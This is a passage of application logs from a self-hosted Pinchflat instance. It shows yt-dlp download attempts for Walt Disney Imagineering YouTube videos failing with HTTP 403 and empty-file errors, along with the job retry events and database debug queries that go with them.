--write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9b/09/9b090eb0e8186ff015dd46350c4f5139b973a540236553289755dc79a1ad7079.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:03:54.286 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:03:54.287 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":15298439,"event":"job:exception","queue_time":44208107,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:54.294 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998234294356076,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:54.294 [debug] QUERY OK source="media_items" db=0.2ms idle=773.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:03:54.295 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:03:54.295 [debug] QUERY OK source="sources" db=0.3ms idle=774.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:03:54.296 [debug] QUERY OK source="media_profiles" db=0.2ms idle=191.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:54.296 [debug] QUERY OK source="media_items" db=0.4ms idle=9.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:03:54.297 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:03:54.297 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:54.298 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:54.298 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:54.298 [debug] Running yt-dlp command for action: get_downloadable_status 19:03:54.299 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:54.299 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:54.299 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:54.299 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/03/ea033bf826aaca17108638d28ff1482f9272d957c1f0acd17250406da1b84c63.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:59.690 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/03/ea033bf826aaca17108638d28ff1482f9272d957c1f0acd17250406da1b84c63.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:03:59.690 [debug] Running yt-dlp command for action: download 19:03:59.690 [debug] QUERY OK source="settings" db=0.1ms idle=579.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:59.690 [debug] QUERY OK source="settings" db=0.1ms idle=170.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:59.691 [debug] QUERY OK source="settings" db=0.1ms idle=170.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:59.691 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/f8/31f893151801bd2a6ba1713ddf118f928dcda67209b23ce95e0adbc9615ce4ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:04:00.971 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:19.979 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:44.584 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/f8/31f893151801bd2a6ba1713ddf118f928dcda67209b23ce95e0adbc9615ce4ee.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:04:44.584 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:04:44.585 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":50290507,"event":"job:exception","queue_time":10701330,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:04:44.592 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998284592188899,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:04:44.592 [debug] QUERY OK source="media_items" db=0.2ms idle=1071.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:04:44.592 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:04:44.593 [debug] QUERY OK source="sources" db=0.2ms idle=1072.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:04:44.593 [debug] QUERY OK source="media_profiles" db=0.1ms idle=409.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:04:44.594 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:04:44.594 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:04:44.594 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:04:44.595 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:44.595 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:44.595 [debug] Running yt-dlp command for action: get_downloadable_status 19:04:44.596 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:44.596 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:44.596 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:44.596 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/55/2c557e811073e6107b6e1cda072dee331d377f2035feddea8cc07e0ba428c71f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:04:49.684 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/55/2c557e811073e6107b6e1cda072dee331d377f2035feddea8cc07e0ba428c71f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:04:49.684 [debug] Running yt-dlp command for action: download 19:04:49.685 [debug] QUERY OK source="settings" db=0.1ms idle=1164.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:49.685 [debug] QUERY OK source="settings" db=0.0ms idle=1164.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:49.685 [debug] QUERY OK source="settings" db=0.0ms idle=1165.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:49.685 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/89/cc89a6755304edf101d38fd52eb71df39d47cf78807e8bc0d08b8fdc408c18b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:04:49.980 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.972 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:19.981 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:49.982 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:50.133 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cc/89/cc89a6755304edf101d38fd52eb71df39d47cf78807e8bc0d08b8fdc408c18b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:05:50.133 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:05:50.133 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65541212,"event":"job:exception","queue_time":33610548,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:05:50.140 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998350140253900,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:05:50.140 [debug] QUERY OK source="media_items" db=0.1ms idle=619.8ms SELECT 